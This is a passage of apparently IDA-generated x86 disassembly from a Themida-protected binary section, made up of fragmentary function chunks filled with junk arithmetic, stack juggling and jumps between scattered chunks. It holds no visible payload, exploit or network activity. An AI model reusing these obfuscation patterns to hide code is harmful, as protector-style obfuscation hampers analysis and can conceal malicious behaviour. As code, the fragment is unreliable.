; FUNCTION CHUNK AT 00572CC4 SIZE 00000006 BYTES
push ebx
push esp
mov ebx, [esp+8+var_8]
add esp, 4
add ebx, 4
jmp loc_570CFF
sub_56AA2B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569D5F
loc_56AA41: ; CODE XREF: sub_569D5F-886Dj
pop ecx
sub al, bh
pop ebx
push ebx
mov bl, 0C6h
dec bl
xor bl, 83h
add al, bl
push [esp+4+var_4]
pop ebx
add esp, 4
add al, bl
sub al, 46h
push ebp
jmp loc_56342A
; END OF FUNCTION CHUNK FOR sub_569D5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56AA60: ; CODE XREF: sub_564D26-3D8Fj
and eax, edx
push [esp+10h+var_10]
push [esp+14h+var_14]
pop edx
add esp, 4
jmp loc_560F9C
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FAE2
loc_56AA71: ; CODE XREF: sub_56FAE2+482Ej
add word ptr [esp-4+arg_0], 2
pop small word ptr [esp-4+arg_0]
push bp
mov bp, 2
add word ptr [esp-4+arg_0+2], bp
pop bp
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56FAE2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_56AA8D: ; CODE XREF: sub_569FB8+7C37j
mov [esp+6+var_6], ecx
sub esp, 4
mov [esp+0Ah+var_A], ebx
mov bl, 94h
mov ch, 0E2h
jmp loc_56D8BC
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569D5F
loc_56AAA2: ; CODE XREF: sub_569D5F+AF74j
add al, cl
mov ecx, [esp+4+var_4]
add esp, 4
mov dx, [esp+0]
jmp loc_56E848
; END OF FUNCTION CHUNK FOR sub_569D5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56959A
loc_56AAB6: ; CODE XREF: sub_56959A+95EFj
add ebx, eax
push [esp+8+var_8]
pop eax
add esp, 4
pop edx
jmp loc_56D39E
; END OF FUNCTION CHUNK FOR sub_56959A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57523A
loc_56AAC5: ; CODE XREF: sub_57523A-EB04j
push esi
jmp loc_5624BC
; END OF FUNCTION CHUNK FOR sub_57523A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_56AACB: ; CODE XREF: sub_570732-BEFFj
add ebx, 2D3C1DC4h
pop esi
push ebx
jmp loc_569E5C
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5683C0
loc_56AAD8: ; CODE XREF: sub_5683C0-1F63j
mov ebx, [esp+0Ch+var_C]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+10h+var_10]
pop esp
add edx, esi
jmp sub_574C6D
; END OF FUNCTION CHUNK FOR sub_5683C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56351E
loc_56AAF2: ; CODE XREF: sub_56351E+1192Aj
mov ecx, [esp+0]
add esp, 4
add ecx, edi
pop edi
push ebp
push ecx
push 407B0EBAh
pop ecx
jmp loc_572548
; END OF FUNCTION CHUNK FOR sub_56351E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_56AB0B: ; CODE XREF: sub_571C93+DFDj
push edx
mov edx, esp
push ecx
mov ecx, 4
add edx, ecx
pop ecx
add edx, 4
push edx
push [esp+8+var_4]
pop edx
pop [esp+8+var_8]
jmp loc_56B269
; END OF FUNCTION CHUNK FOR sub_571C93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_56AB28: ; CODE XREF: sub_56B11B-80F0j
mov eax, [esp+8+var_8]
add esp, 4
pop [esp+4+var_4]
not eax
push eax
push dword ptr [esp+4]
push [esp+8+var_8]
pop eax
push ebp
push 5632h
mov [esp+10h+var_10], esp
add [esp+10h+var_10], 4
jmp loc_56A496
; END OF FUNCTION CHUNK FOR sub_56B11B
; =============== S U B R O U T I N E =======================================
sub_56AB51 proc near ; DATA XREF: Themida_:0055FD08o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00561C51 SIZE 0000005B BYTES
; FUNCTION CHUNK AT 00563D91 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005658E4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567786 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00569984 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056B96A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570801 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00571D8E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00574446 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00575361 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057540C SIZE 00000014 BYTES
mov ax, [esp+0]
push eax
mov eax, esp
push ecx
jmp loc_561C51
sub_56AB51 endp
; =============== S U B R O U T I N E =======================================
sub_56AB5E proc near ; CODE XREF: sub_561C21+89D4j
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560684 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00560BDC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005618C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00562888 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562A80 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00562BFE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005632D4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00563763 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00563866 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00563A29 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056428E SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00566059 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005660D9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056639A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00566462 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005672AC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005680B3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568320 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005690BD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005691B4 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0056A562 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0056AB85 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056B6F5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056C8CE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056C9FA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056CA8F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056CF46 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056D818 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056DD6D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056E9BE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056EAA5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056EB86 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005721BB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057230B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00572BBF SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00573A36 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005745EA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005751A9 SIZE 0000002E BYTES
sub esp, 4
mov [esp+4+var_4], edx
push eax
mov al, 4Dh
mov dh, 57h
sub dh, 90h
jmp loc_5691B4
sub_56AB5E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_56AB74: ; CODE XREF: sub_571088+2ADFj
mov dh, bl
mov ah, dh
jmp loc_562F6A
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_56AB7D: ; CODE XREF: sub_56657A+ED45j
push cx
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_56AB85: ; CODE XREF: sub_56AB5E-4A82j
sub bh, ah
push dx
mov dh, 54h
sub bh, 7Ah
jmp loc_5632D4
; END OF FUNCTION CHUNK FOR sub_56AB5E
; =============== S U B R O U T I N E =======================================
sub_56AB93 proc near ; DATA XREF: Themida_:0055FE80o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00562D7E SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00568CEB SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056AC57 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0056E610 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005746DB SIZE 00000006 BYTES
mov ax, [esp+0]
push 1B73h
mov [esp+4+var_4], esi
push 3029h
mov [esp+8+var_8], esp
push ebx
mov ebx, 4
add [esp+0Ch+var_8], 648B2C7Bh
add [esp+0Ch+var_8], ebx
sub [esp+0Ch+var_8], 648B2C7Bh
pop ebx
mov esi, [esp+8+var_8]
add esp, 4
jmp loc_5746DB
sub_56AB93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_56ABD0 proc near ; CODE XREF: sub_56E4D4+41F8j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00563F88 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571EB3 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00572D71 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00572E00 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057319A SIZE 0000003D BYTES
push ebp
mov ebp, esp
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, 63C6166Dh
sub ecx, 63C61669h
add ebp, ecx
mov ecx, [esp+4+var_4]
add esp, 4
add ebp, 4
jmp loc_563F88
sub_56ABD0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_56ABFA: ; CODE XREF: sub_569193-7ADBj
mov [esp+0], ebx
push 8000h
jmp loc_567E80
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_56AC07: ; CODE XREF: sub_56FB8A+23A9j
push edx
mov edx, 0F6F4F66h
sub ebx, edx
pop edx
push edi
mov edi, 2761228h
push ebx
mov ebx, 491D589Eh
and edi, ebx
mov ebx, [esp+8+var_8]
push edi
mov edi, esp
jmp loc_563A8A
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E27
loc_56AC29: ; CODE XREF: sub_570E27-5B1Cj
mov [esp+0], edx
mov edx, 88126D8h
push eax
push edi
mov edi, 43E83E3Bh
mov eax, edi
mov edi, [esp+8+var_8]
add esp, 4
or edx, eax
pop eax
jmp loc_562C72
; END OF FUNCTION CHUNK FOR sub_570E27
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56AC4B: ; CODE XREF: sub_56616D+C01Aj
inc esi
push ebp
mov ebp, 0D4CB3B8Eh
jmp loc_573B2F
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB93
loc_56AC57: ; CODE XREF: sub_56AB93-7DEFj
mov [esp+0Ch+var_C], ecx
sub esp, 4
mov [esp+10h+var_10], esp
add [esp+10h+var_10], 4
pop ecx
add ecx, 4
add ecx, 4
push ecx
push [esp+10h+var_C]
pop ecx
pop [esp+10h+var_10]
pop esp
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
jmp loc_56E610
; END OF FUNCTION CHUNK FOR sub_56AB93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567C58
loc_56AC89: ; CODE XREF: sub_567C58-1C35j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_567C58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56AC8E: ; CODE XREF: sub_563A7F+8D18j
movzx eax, al
jmp loc_560750
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573612
loc_56AC96: ; CODE XREF: sub_573612-6050j
xor ebx, [esp+8+var_8]
xor [esp+8+var_8], ebx
xor ebx, [esp+8+var_8]
mov esp, [esp+8+var_8]
ror [esp-4+arg_0], cl
pushf
jmp loc_56F3F9
; END OF FUNCTION CHUNK FOR sub_573612
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F782
loc_56ACAB: ; CODE XREF: sub_56F782-6DB6j
push esp
push [esp+0Ch+var_C]
push [esp+10h+var_10]
pop esi
jmp loc_56B183
; END OF FUNCTION CHUNK FOR sub_56F782
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_56ACB8: ; CODE XREF: sub_561027+962Dj
mov ebx, [esp+14h+var_14]
jmp loc_5695C4
; END OF FUNCTION CHUNK FOR sub_561027
; =============== S U B R O U T I N E =======================================
sub_56ACC0 proc near ; CODE XREF: sub_566B37+1A39j
var_4 = dword ptr -4
push ebx
push dword ptr [esp+4]
pop ebx
pop [esp+4+var_4]
mov esp, [esp+0]
mov [esp+0], ax
jmp loc_55FF9F
sub_56ACC0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_56ACD5: ; CODE XREF: sub_57146D-16DBj
pop esp
push edx
mov edx, esp
jmp loc_562FCD
; END OF FUNCTION CHUNK FOR sub_57146D
; =============== S U B R O U T I N E =======================================
sub_56ACDE proc near ; CODE XREF: sub_56DA36-CE82j
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00567435 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056BA33 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056C6EB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00573E25 SIZE 00000026 BYTES
push ebp
mov ebp, 4AA764DDh
push edi
mov edi, 6CA92EE8h
jmp loc_567435
sub_56ACDE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_56ACEF: ; CODE XREF: sub_57146D-5F2Ej
add al, 1
neg al
xor al, 0DCh
mov dl, al
pop eax
jmp loc_561968
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C7AA
loc_56ACFD: ; CODE XREF: sub_56C7AA-6860j
pop ebx
mov ebx, esi
pop esi
push ebx
push eax
pop ebx
pop eax
jmp loc_562F78
; END OF FUNCTION CHUNK FOR sub_56C7AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563FA2
loc_56AD0A: ; CODE XREF: sub_563FA2+8CFCj
mov eax, [esp+8+var_8]
jmp loc_574DAC
; END OF FUNCTION CHUNK FOR sub_563FA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D4B8
loc_56AD12: ; CODE XREF: sub_56D4B8-C99Cj
mov eax, [esp+4+var_4]
jmp loc_563BFB
; END OF FUNCTION CHUNK FOR sub_56D4B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574C6D
loc_56AD1A: ; CODE XREF: sub_574C6D-11789j
push edx
push [esp-4+arg_4]
pop edx
pop [esp-4+arg_0]
mov esp, [esp-8+arg_4]
test cl, al
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_574C6D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56AD2E: ; CODE XREF: sub_57354D-C889j
push 2A020706h
pop ecx
and ecx, 24E05C1Bh
or ecx, 5E0157D2h
jmp loc_574157
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563DCB
loc_56AD45: ; CODE XREF: sub_563DCB+C4FEj
mov dh, al
mov ch, dh
pop edx
jmp loc_563655
; END OF FUNCTION CHUNK FOR sub_563DCB
; ---------------------------------------------------------------------------
loc_56AD4F: ; CODE XREF: Themida_:0056F801j
pop ebp
jmp loc_575426
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563FA2
loc_56AD55: ; CODE XREF: sub_563FA2+DB33j
mov esp, [esp+0]
jmp loc_5753AE
; END OF FUNCTION CHUNK FOR sub_563FA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD38
loc_56AD5D: ; CODE XREF: sub_56FD38-3BBj
xor ebx, 4C9C1E71h
jmp loc_566E8A
; END OF FUNCTION CHUNK FOR sub_56FD38
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_56AD68: ; CODE XREF: sub_56102D+F0C1j
shl edx, 3
push eax
mov eax, 1B571EEFh
jmp loc_560AE6
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_56AD76: ; CODE XREF: sub_572075-657Ej
pop esp
mov [esp+0], ebp
push [esp+arg_0]
mov ebp, [esp+4+var_4]
push edx
jmp loc_56269D
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EE9F
loc_56AD87: ; CODE XREF: sub_56EE9F-E687j
add ecx, edx
jmp loc_564C68
; END OF FUNCTION CHUNK FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643EB
loc_56AD8E: ; CODE XREF: sub_5643EB+1j
mov ebp, 329940C1h
or ebx, ebp
pop ebp
jmp loc_56798F
; END OF FUNCTION CHUNK FOR sub_5643EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C83
loc_56AD9B: ; CODE XREF: sub_566C83-3B9Bj
pop esi
pop esi
jmp sub_5634AF
; END OF FUNCTION CHUNK FOR sub_566C83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56ADA2: ; CODE XREF: sub_56616D+2F08j
mov [esp-10h+arg_C], edx
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp-10h+arg_C]
xor [esp-10h+arg_C], edx
xor edx, [esp-10h+arg_C]
jmp loc_56B048
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F1DB
loc_56ADBE: ; CODE XREF: sub_56F1DB-BEA0j
add eax, ebp
sub eax, 35CF10B6h
pop ebp
add eax, 4
xchg eax, [esp-4+arg_0]
pop esp
push ebx
push esp
pop ebx
push eax
jmp loc_5600B7
; END OF FUNCTION CHUNK FOR sub_56F1DB
; =============== S U B R O U T I N E =======================================
sub_56ADD8 proc near ; CODE XREF: sub_574F16-133F3j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056EACA SIZE 00000009 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, 28h
add ebx, edi
mov [ebx], cl
jmp loc_56EACA
sub_56ADD8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567C58
loc_56ADEF: ; CODE XREF: sub_567C58-666Bj
pop eax
add esp, 4
add edi, 469BD1D6h
sub ebp, 4C0851AEh
sub ebp, edi
add ebp, 4C0851AEh
pop edi
add eax, 60DF21F4h
add eax, ebp
push esi
mov esi, 3FED5D3Fh
neg esi
push 118Dh
mov [esp+14h+var_14], eax
mov eax, 446C3564h
jmp loc_5634F9
; END OF FUNCTION CHUNK FOR sub_567C58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_56AE2C: ; CODE XREF: sub_56657A-289Ej
mov edx, 7B630FB6h
shl edx, 2
shl edx, 4
sub edx, 3996364Eh
add edx, 0CED2C2F6h
xor ebp, edx
pop edx
jmp loc_56472E
; END OF FUNCTION CHUNK FOR sub_56657A
; =============== S U B R O U T I N E =======================================
sub_56AE4B proc near ; CODE XREF: sub_5734A7-A4B2j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00564336 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C2B1 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00574CD8 SIZE 00000005 BYTES
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+4+var_4]
jmp loc_564336
sub_56AE4B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0CB
loc_56AE62: ; CODE XREF: sub_56E0CB-BFEFj
pop ebx
add esp, 4
jmp loc_55FFE5
; END OF FUNCTION CHUNK FOR sub_56E0CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569AB3
loc_56AE6B: ; CODE XREF: sub_569AB3-2D19j
mov ebp, [esp+18h+var_18]
push esi
push esp
pop esi
add esi, 4
add esi, 4
jmp loc_560043
; END OF FUNCTION CHUNK FOR sub_569AB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CF5
loc_56AE7F: ; CODE XREF: sub_567CF5-BB3j
push ecx
jmp loc_56A461
; END OF FUNCTION CHUNK FOR sub_567CF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56AE85: ; CODE XREF: sub_563A7F+761j
pop ebx
jmp loc_574CC4
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564BC5
loc_56AE8B: ; CODE XREF: sub_564BC5+D3EBj
mov ecx, 3974C0Fh
mov edx, ecx
pop ecx
xor edx, ebp
xor ebp, edx
xor edx, ebp
jmp loc_571722
; END OF FUNCTION CHUNK FOR sub_564BC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_56AE9E: ; CODE XREF: sub_574304-FE02j
sub [esp+0Ch+var_C], 3C084177h
pop edx
push ebp
mov ebp, 20E87545h
xor ebp, 60A75598h
jmp loc_57470E
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_56AEB7: ; CODE XREF: sub_571088+12j
add esp, 4
jmp loc_566BFE
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563DCB
loc_56AEC2: ; CODE XREF: sub_563DCB-769j
mov [esp+0], eax
mov al, 0A4h
sub cl, al
mov eax, [esp+0]
push eax
push esp
mov eax, [esp]
jmp loc_56F6C0
; END OF FUNCTION CHUNK FOR sub_563DCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_56AED6: ; CODE XREF: sub_5673C3-EE3j
xor [esp-4+arg_0], ebp
jmp loc_573E92
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CBE
loc_56AEDE: ; CODE XREF: sub_574CBE-115AFj
pop ecx
pop [esp+8+var_8]
pop esp
mov [esp+0], edx
mov edx, 553814ADh
sub eax, edx
jmp loc_56CBC6
; END OF FUNCTION CHUNK FOR sub_574CBE
; =============== S U B R O U T I N E =======================================
sub_56AEF2 proc near ; CODE XREF: sub_568646+6625j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_14 = dword ptr 18h
; FUNCTION CHUNK AT 0056002E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056059D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00560C91 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00562174 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00563A18 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005644B6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00564595 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005645E7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00564F2B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568AF8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00568BC9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00568DBD SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005691F5 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005693EC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00569D08 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A0C4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056B50D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056C29E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056CE5C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056E7D7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056E831 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056EB7E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F55A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0057012F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005704B4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00570C54 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005719C1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00572970 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00574481 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0057457B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0057477E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005751EA SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00575455 SIZE 00000010 BYTES
push ebx
mov bl, 45h
xor bl, 6Ah
add dl, bl
jmp loc_563A18
sub_56AEF2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56AEFF: ; CODE XREF: sub_56616D+9FE1j
pop edi
sub edi, 60807FADh
push edi
push 6763h
mov [esp-0Ch+arg_8], ebx
jmp loc_56F823
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_56AF14: ; CODE XREF: sub_569FB8+3BC1j
add edi, 4
add edi, 4
xchg edi, [esp+12h+var_12]
jmp loc_570B11
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573876
loc_56AF28: ; CODE XREF: sub_573876+1j
mov ebx, 147E6C73h
jmp loc_561435
; END OF FUNCTION CHUNK FOR sub_573876
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56AF32: ; CODE XREF: sub_56616D+Ej
add ebx, 482B564Bh
sub esi, ebx
jmp loc_567A8B
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C83E
loc_56AF3F: ; CODE XREF: sub_56C83E+5D2Bj
add eax, 4
sub eax, 4
xchg eax, [esp+4+var_4]
mov esp, [esp+4+var_4]
jmp loc_560937
; END OF FUNCTION CHUNK FOR sub_56C83E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0B0
loc_56AF52: ; CODE XREF: sub_56E0B0+2D16j
pop edx
push eax
jmp loc_575284
; END OF FUNCTION CHUNK FOR sub_56E0B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572E16
loc_56AF59: ; CODE XREF: sub_572E16-11DFEj
mov ebx, esi
mov esi, [esp+4+var_4]
jmp loc_569A2C
; END OF FUNCTION CHUNK FOR sub_572E16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574AF3
loc_56AF63: ; CODE XREF: sub_574AF3-BF37j
pop [esp+8+var_8]
jmp loc_5621C0
; END OF FUNCTION CHUNK FOR sub_574AF3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571890
loc_56AF6B: ; CODE XREF: sub_571890-12ECj
sub ecx, 10354733h
jmp loc_568BDC
; END OF FUNCTION CHUNK FOR sub_571890
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56AF76: ; CODE XREF: sub_57354D-8E4Cj
add ebx, eax
pop eax
push ebx
jmp loc_56B137
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564B0B
loc_56AF7F: ; CODE XREF: sub_564B0B+96E0j
mov ebp, 487E348Fh
xor ecx, ebp
pop ebp
sub ecx, 0E4D8C6B5h
push edx
mov edx, 5C1A4681h
not edx
sub edx, 6DCA3B62h
jmp sub_56FAE2
; END OF FUNCTION CHUNK FOR sub_564B0B
; ---------------------------------------------------------------------------
